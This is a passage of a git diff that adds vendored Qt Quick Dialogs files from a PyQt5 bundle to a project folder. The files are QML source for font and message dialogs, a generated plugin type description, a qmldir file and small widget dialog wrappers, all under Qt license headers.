onWritingSystemSampleChanged: { sample.text = writingSystemSample; } + + Keys.onPressed: { + event.accepted = true + switch (event.key) { + case Qt.Key_Return: + case Qt.Key_Select: + updateUponAccepted() + break + case Qt.Key_Escape: + case Qt.Key_Back: + reject() + break + default: + // do nothing + event.accepted = false + break + } + } + + function updateUponAccepted() { + root.font = content.font + root.accept() + } + + ColumnLayout { + id: mainLayout + anchors { fill: parent; margins: content.outerSpacing } + spacing: content.spacing + + GridLayout { + columnSpacing: content.spacing; rowSpacing: content.spacing + columns: 3 + + Label { id: fontNameLabel; Layout.fillWidth: true; text: qsTr("Font"); font.bold: true } + Label { id: weightLabel; text: qsTr("Weight"); font.bold: true } + Label { id: sizeLabel; text: qsTr("Size"); font.bold: true } + TableView { + id: fontListView + focus: true + Layout.fillWidth: true + Layout.fillHeight: true + Layout.preferredWidth: fontColumn.width + headerVisible: false + function reset() { + fontModel.findIndex() + content.pointSizes = fontModel.pointSizes() + fontModel.findPointSizesIndex() + } + TableViewColumn{ id: fontColumn; role: "family"; title: qsTr("Font Family") } + model: FontListModel { + id: fontModel + scalableFonts: root.scalableFonts + nonScalableFonts: root.nonScalableFonts + monospacedFonts: root.monospacedFonts + proportionalFonts: root.proportionalFonts + Component.onCompleted: fontListView.reset() + onModelReset: { findIndex(); } + function findIndex() { + fontListView.selection.clear() + if (fontModel.count <= 0 || fontListView.rowCount <= 0) + return + + var currentRow = 0 + if (content.font.family != "") { + for (var i = 0; i < fontModel.count; ++i) { + if (content.font.family == fontModel.get(i).family) { + currentRow = i + break + } + } + } + content.font.family = fontModel.get(currentRow).family + fontListView.selection.select(currentRow) + fontListView.positionViewAtRow(currentRow, ListView.Contain) + fontListView.clicked(currentRow) + } + function findPointSizesIndex() { + pointSizesListView.selection.clear() + if (content.pointSizes.length <= 0 || pointSizesListView.rowCount <= 0) + return + + var currentRow = -1 + for (var i = 0; i < content.pointSizes.length; ++i) { + if (content.font.pointSize == content.pointSizes[i]) { + currentRow = i + break + } + } + if (currentRow != -1) { + content.font.pointSize = content.pointSizes[currentRow] + pointSizesListView.selection.select(currentRow) + pointSizesListView.positionViewAtRow(currentRow, ListView.Contain) + pointSizesListView.clicked(currentRow) + } + } + } + function select(row) { + if (row == -1) + return + currentRow = row + content.font.family = fontModel.get(row).family + positionViewAtRow(row, ListView.Contain) + } + onClicked: select(row) + onCurrentRowChanged: select(currentRow) + } + TableView { + id: weightListView + implicitWidth: (Component.status == Component.Ready) ? (weightColumn.width + content.outerSpacing) : (100) + Layout.fillHeight: true + Component.onCompleted: resizeColumnsToContents(); + headerVisible: false + function reset() { + weightModel.findIndex() + } + TableViewColumn { id: weightColumn; role: "name"; title: qsTr("Weight") } + model: ListModel { + id: weightModel + ListElement { name: qsTr("Thin"); weight: Font.Thin } + ListElement { name: qsTr("ExtraLight"); weight: Font.ExtraLight } + ListElement { name: qsTr("Light"); weight: Font.Light } + ListElement { name: qsTr("Normal"); weight: Font.Normal } + ListElement { name: qsTr("Medium"); weight: Font.Medium } + ListElement { name: qsTr("DemiBold"); weight: Font.DemiBold } + ListElement { name: qsTr("Bold"); weight: Font.Bold } + ListElement { name: qsTr("ExtraBold"); weight: Font.ExtraBold } + ListElement { name: qsTr("Black"); weight: Font.Black } + Component.onCompleted: weightListView.reset() + function findIndex() { + var currentRow = 1 + for (var i = 0; i < weightModel.count; ++i) { + if (content.font.weight == weightModel.get(i).weight) { + currentRow = i + break + } + } + content.font.weight = weightModel.get(currentRow).family + weightListView.selection.select(currentRow) + weightListView.positionViewAtRow(currentRow, ListView.Contain) + weightListView.clicked(currentRow) + } + } + function select(row) { + if (row == -1) + return + currentRow = row + content.font.weight = weightModel.get(row).weight + positionViewAtRow(row, ListView.Contain) + } + onClicked: select(row) + onCurrentRowChanged: select(currentRow) + } + ColumnLayout { + SpinBox { + id: pointSizeSpinBox; + implicitWidth: (Component.status == Component.Ready) ? (psColumn.width + content.outerSpacing) : (80) + value: content.font.pointSize + decimals: 0 + minimumValue: 1 + maximumValue: 512 + onValueChanged: { + content.font.pointSize = Number(value); + updatePointSizesIndex(); + } + function updatePointSizesIndex() { + pointSizesListView.selection.clear() + if (content.pointSizes.length <= 0 || pointSizesListView.rowCount <= 0) + return + var currentRow = -1 + for (var i = 0; i < content.pointSizes.length; ++i) { + if (content.font.pointSize == content.pointSizes[i]) { + currentRow = i + break + } + } + if (currentRow < 0) + return + content.font.pointSize = content.pointSizes[currentRow] + pointSizesListView.selection.select(currentRow) + pointSizesListView.positionViewAtRow(currentRow, ListView.Contain) + pointSizesListView.clicked(currentRow) + } + } + TableView { + id: pointSizesListView + Layout.fillHeight: true + headerVisible: false + implicitWidth: (Component.status == Component.Ready) ? (psColumn.width + content.outerSpacing) : (80) + Component.onCompleted: resizeColumnsToContents(); + TableViewColumn{ id: psColumn; role: ""; title: qsTr("Size") } + model: content.pointSizes + property bool guard: false + function select(row) { + if (row == -1 || !guard) + return + currentRow = row + content.font.pointSize = content.pointSizes[row] + pointSizeSpinBox.value = content.pointSizes[row] + positionViewAtRow(row, ListView.Contain) + } + onClicked: select(row) + onCurrentRowChanged: { + select(currentRow) + if (!guard) + guard = true + } + } + } + } + + RowLayout { + spacing: content.spacing + Layout.fillHeight: false + ColumnLayout { + spacing: content.spacing + Layout.rowSpan: 3 + Label { id: optionsLabel; text: qsTr("Style"); font.bold: true } + CheckBox { + id: italicCheckBox + text: qsTr("Italic") + checked: content.font.italic + onClicked: { content.font.italic = italicCheckBox.checked } + } + CheckBox { + id: underlineCheckBox + text: qsTr("Underline") + checked: content.font.underline + onClicked: { content.font.underline = underlineCheckBox.checked } + } + CheckBox { + id: overlineCheckBox + text: qsTr("Overline") + checked: content.font.overline + onClicked: { content.font.overline = overlineCheckBox.checked } + } + CheckBox { + id: strikeoutCheckBox + text: qsTr("Strikeout") + checked: content.font.strikeout + onClicked: { content.font.strikeout = strikeoutCheckBox.checked } + } + Item { Layout.fillHeight: true; } //spacer + Label { id: writingSystemLabel; text: qsTr("Writing System"); font.bold: true } + } + + ColumnLayout { + Layout.rowSpan: 3 + spacing: content.spacing + Layout.columnSpan: 2 + Layout.fillWidth: true + Layout.fillHeight: true + Label { id: sampleLabel; text: qsTr("Sample"); font.bold: true } + + Rectangle { + clip: true + Layout.fillWidth: true + Layout.fillHeight: true + implicitWidth: Math.min(360, sample.implicitWidth + parent.spacing) + implicitHeight: Math.min(240, sample.implicitHeight + parent.spacing) + color: "white" + border.color: "#999" + TextInput { + id: sample + activeFocusOnTab: true + Accessible.name: text + Accessible.role: Accessible.EditableText + anchors.centerIn: parent + font: content.font + onFocusChanged: if (!focus && sample.text == "") sample.text = content.writingSystemSample + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + } + } + } + + RowLayout { + id: buttonRow + Layout.columnSpan: 3 + spacing: content.spacing + ComboBox { + id: wsComboBox + function reset() { + if (wsModel.count > 0) { + currentIndex = 0 + } + } + textRole: "name" + model: WritingSystemListModel { + id: wsModel + Component.onCompleted: wsComboBox.reset() + } + onCurrentIndexChanged: { + if (currentIndex == -1) + return + + content.writingSystem = wsModel.get(currentIndex).name + fontModel.writingSystem = content.writingSystem + content.writingSystemSample = wsModel.get(currentIndex).sample + fontListView.reset() + } + } + Item { Layout.fillWidth: true; } //spacer + Button { + text: qsTr("Cancel") + onClicked: root.reject() + } + Button { + text: qsTr("OK") + onClicked: { + content.updateUponAccepted() + } + } + } + } + } +} + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFontDialog.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFontDialog.qmlc new file mode 100644 index 00000000..dba0ab47 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFontDialog.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultMessageDialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultMessageDialog.qml new file mode 100644 index 00000000..d2f2a078 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultMessageDialog.qml @@ -0,0 +1,320 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Dialogs 1.1 +import QtQuick.Window 2.1 +import "qml" + +AbstractMessageDialog { + id: root + + Rectangle { + id: content + property real spacing: 6 + property real outerSpacing: 12 + property real buttonsRowImplicitWidth: Screen.pixelDensity * 50 + implicitHeight: contentColumn.implicitHeight + outerSpacing * 2 + onImplicitHeightChanged: root.height = implicitHeight + implicitWidth: Math.min(root.__maximumDimension, Math.max( + mainText.implicitWidth, buttonsRowImplicitWidth) + outerSpacing * 2); + onImplicitWidthChanged: root.width = implicitWidth + color: palette.window + focus: root.visible + Keys.onPressed: { + event.accepted = true + if (event.modifiers === Qt.ControlModifier) + switch (event.key) { + case Qt.Key_A: + detailedText.selectAll() + break + case Qt.Key_C: + detailedText.copy() + break + case Qt.Key_Period: + if (Qt.platform.os === "osx") + reject() + break + } else switch (event.key) { + case Qt.Key_Escape: + case Qt.Key_Back: + reject() + break + case Qt.Key_Enter: + case Qt.Key_Return: + accept() + break + } + } + + Column { + id: contentColumn + spacing: content.spacing + x: content.outerSpacing + y: content.outerSpacing + width: content.width - content.outerSpacing * 2 + + SystemPalette { id: palette } + + Item { + width: parent.width + height: Math.max(icon.height, mainText.height + informativeText.height + content.spacing) + Image { + id: icon + source: root.standardIconSource + } + + Text { + id: mainText + anchors { + left: icon.right + leftMargin: content.spacing + right: parent.right + } + text: root.text + font.weight: Font.Bold + wrapMode: Text.WordWrap + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + + Text { + id: informativeText + anchors { + left: icon.right + right: parent.right + top: mainText.bottom + leftMargin: content.spacing + topMargin: content.spacing + } + text: root.informativeText + wrapMode: Text.WordWrap + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + } + + + Flow { + id: buttons + spacing: content.spacing + layoutDirection: Qt.RightToLeft + width: parent.width + content.outerSpacing + x: -content.outerSpacing + Button { + id: okButton + text: qsTr("OK") + onClicked: root.click(StandardButton.Ok) + visible: root.standardButtons & StandardButton.Ok + } + Button { + id: openButton + text: qsTr("Open") + onClicked: root.click(StandardButton.Open) + visible: root.standardButtons & StandardButton.Open + } + Button { + id: saveButton + text: qsTr("Save") + onClicked: root.click(StandardButton.Save) + visible: root.standardButtons & StandardButton.Save + } + Button { + id: saveAllButton + text: qsTr("Save All") + onClicked: root.click(StandardButton.SaveAll) + visible: root.standardButtons & StandardButton.SaveAll + } + Button { + id: retryButton + text: qsTr("Retry") + onClicked: root.click(StandardButton.Retry) + visible: root.standardButtons & StandardButton.Retry + } + Button { + id: ignoreButton + text: qsTr("Ignore") + onClicked: root.click(StandardButton.Ignore) + visible: root.standardButtons & StandardButton.Ignore + } + Button { + id: applyButton + text: qsTr("Apply") + onClicked: root.click(StandardButton.Apply) + visible: root.standardButtons & StandardButton.Apply + } + Button { + id: yesButton + text: qsTr("Yes") + onClicked: root.click(StandardButton.Yes) + visible: root.standardButtons & StandardButton.Yes + } + Button { + id: yesAllButton + text: qsTr("Yes to All") + onClicked: root.click(StandardButton.YesToAll) + visible: root.standardButtons & StandardButton.YesToAll + } + Button { + id: noButton + text: qsTr("No") + onClicked: root.click(StandardButton.No) + visible: root.standardButtons & StandardButton.No + } + Button { + id: noAllButton + text: qsTr("No to All") + onClicked: root.click(StandardButton.NoToAll) + visible: root.standardButtons & StandardButton.NoToAll + } + Button { + id: discardButton + text: qsTr("Discard") + onClicked: root.click(StandardButton.Discard) + visible: root.standardButtons & StandardButton.Discard + } + Button { + id: resetButton + text: qsTr("Reset") + onClicked: root.click(StandardButton.Reset) + visible: root.standardButtons & StandardButton.Reset + } + Button { + id: restoreDefaultsButton + text: qsTr("Restore Defaults") + onClicked: root.click(StandardButton.RestoreDefaults) + visible: root.standardButtons & StandardButton.RestoreDefaults + } + Button { + id: cancelButton + text: qsTr("Cancel") + onClicked: root.click(StandardButton.Cancel) + visible: root.standardButtons & StandardButton.Cancel + } + Button { + id: abortButton + text: qsTr("Abort") + onClicked: root.click(StandardButton.Abort) + visible: root.standardButtons & StandardButton.Abort + } + Button { + id: closeButton + text: qsTr("Close") + onClicked: root.click(StandardButton.Close) + visible: root.standardButtons & StandardButton.Close + } + Button { + id: moreButton + text: qsTr("Show Details...") + onClicked: content.state = (content.state === "" ? "expanded" : "") + visible: root.detailedText.length > 0 + } + Button { + id: helpButton + text: qsTr("Help") + onClicked: root.click(StandardButton.Help) + visible: root.standardButtons & StandardButton.Help + } + onVisibleChildrenChanged: calculateImplicitWidth() + } + } + + Item { + id: details + width: parent.width + implicitHeight: detailedText.implicitHeight + content.spacing + height: 0 + clip: true + + anchors { + left: parent.left + right: parent.right + top: contentColumn.bottom + topMargin: content.spacing + leftMargin: content.outerSpacing + rightMargin: content.outerSpacing + } + + Flickable { + id: flickable + contentHeight: detailedText.height + anchors.fill: parent + anchors.topMargin: content.spacing + anchors.bottomMargin: content.outerSpacing + TextEdit { + id: detailedText + text: root.detailedText + width: details.width + wrapMode: Text.WordWrap + readOnly: true + selectByMouse: true + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + } + } + + states: [ + State { + name: "expanded" + PropertyChanges { + target: details + height: content.height - contentColumn.height - content.spacing - content.outerSpacing + } + PropertyChanges { + target: content + implicitHeight: contentColumn.implicitHeight + content.spacing * 2 + + detailedText.implicitHeight + content.outerSpacing * 2 + } + PropertyChanges { + target: moreButton + text: qsTr("Hide Details") + } + } + ] + } + function calculateImplicitWidth() { + if (buttons.visibleChildren.length < 2) + return; + var calcWidth = 0; + for (var i = 0; i < buttons.visibleChildren.length; ++i) + calcWidth += Math.max(100, buttons.visibleChildren[i].implicitWidth) + content.spacing + content.buttonsRowImplicitWidth = content.outerSpacing + calcWidth + } + Component.onCompleted: calculateImplicitWidth() +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultMessageDialog.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultMessageDialog.qmlc new file mode 100644 index 00000000..ba1028bc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultMessageDialog.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/Private/dialogsprivateplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/Private/dialogsprivateplugin.dll new file mode 100644 index 00000000..cbf79312 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/Private/dialogsprivateplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/Private/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/Private/plugins.qmltypes new file mode 100644 index 00000000..f508d501 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/Private/plugins.qmltypes @@ -0,0 +1,334 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick.Dialogs.Private 1.1' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + Enum { + name: "LayoutChangeHint" + values: { + "NoLayoutChangeHint": 0, + "VerticalSortHint": 1, + "HorizontalSortHint": 2 + } + } + Enum { + name: "CheckIndexOption" + values: { + "NoOption": 0, + "IndexIsValid": 1, + "DoNotUseParent": 2, + "ParentIsInvalid": 4 + } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { name: "QAbstractListModel"; prototype: "QAbstractItemModel" } + Component { + name: "QQuickFontListModel" + prototype: "QAbstractListModel" + exports: ["QtQuick.Dialogs.Private/FontListModel 1.1"] + exportMetaObjectRevisions: [0] + Property { name: "writingSystem"; type: "string" } + Property { name: "scalableFonts"; type: "bool" } + Property { name: "nonScalableFonts"; type: "bool" } + Property { name: "monospacedFonts"; type: "bool" } + Property { name: "proportionalFonts"; type: "bool" } + Property { name: "count"; type: "int"; isReadonly: true } + Signal { name: "rowCountChanged" } + Method { + name: "setScalableFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setNonScalableFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setMonospacedFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setProportionalFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "get" + type: "QJSValue" + Parameter { name: "index"; type: "int" } + } + Method { name: "pointSizes"; type: "QJSValue" } + } + Component { + name: "QQuickWritingSystemListModel" + prototype: "QAbstractListModel" + exports: ["QtQuick.Dialogs.Private/WritingSystemListModel 1.1"] + exportMetaObjectRevisions: [0] + Property { name: "writingSystems"; type: "QStringList"; isReadonly: true } + Property { name: "count"; type: "int"; isReadonly: true } + Signal { name: "rowCountChanged" } + Method { + name: "get" + type: "QJSValue" + Parameter { name: "index"; type: "int" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/Private/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/Private/qmldir new file mode 100644 index 00000000..562d59e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/Private/qmldir @@ -0,0 +1,4 @@ +module QtQuick.Dialogs.Private +plugin dialogsprivateplugin +classname QtQuick2DialogsPrivatePlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetColorDialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetColorDialog.qml new file mode 100644 index 00000000..891b371d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetColorDialog.qml @@ -0,0 +1,43 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.PrivateWidgets 1.0 + +QtColorDialog { } diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetColorDialog.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetColorDialog.qmlc new file mode 100644 index 00000000..1e4de339 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetColorDialog.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFileDialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFileDialog.qml new file mode 100644 index 00000000..f888431a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFileDialog.qml @@ -0,0 +1,43 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** 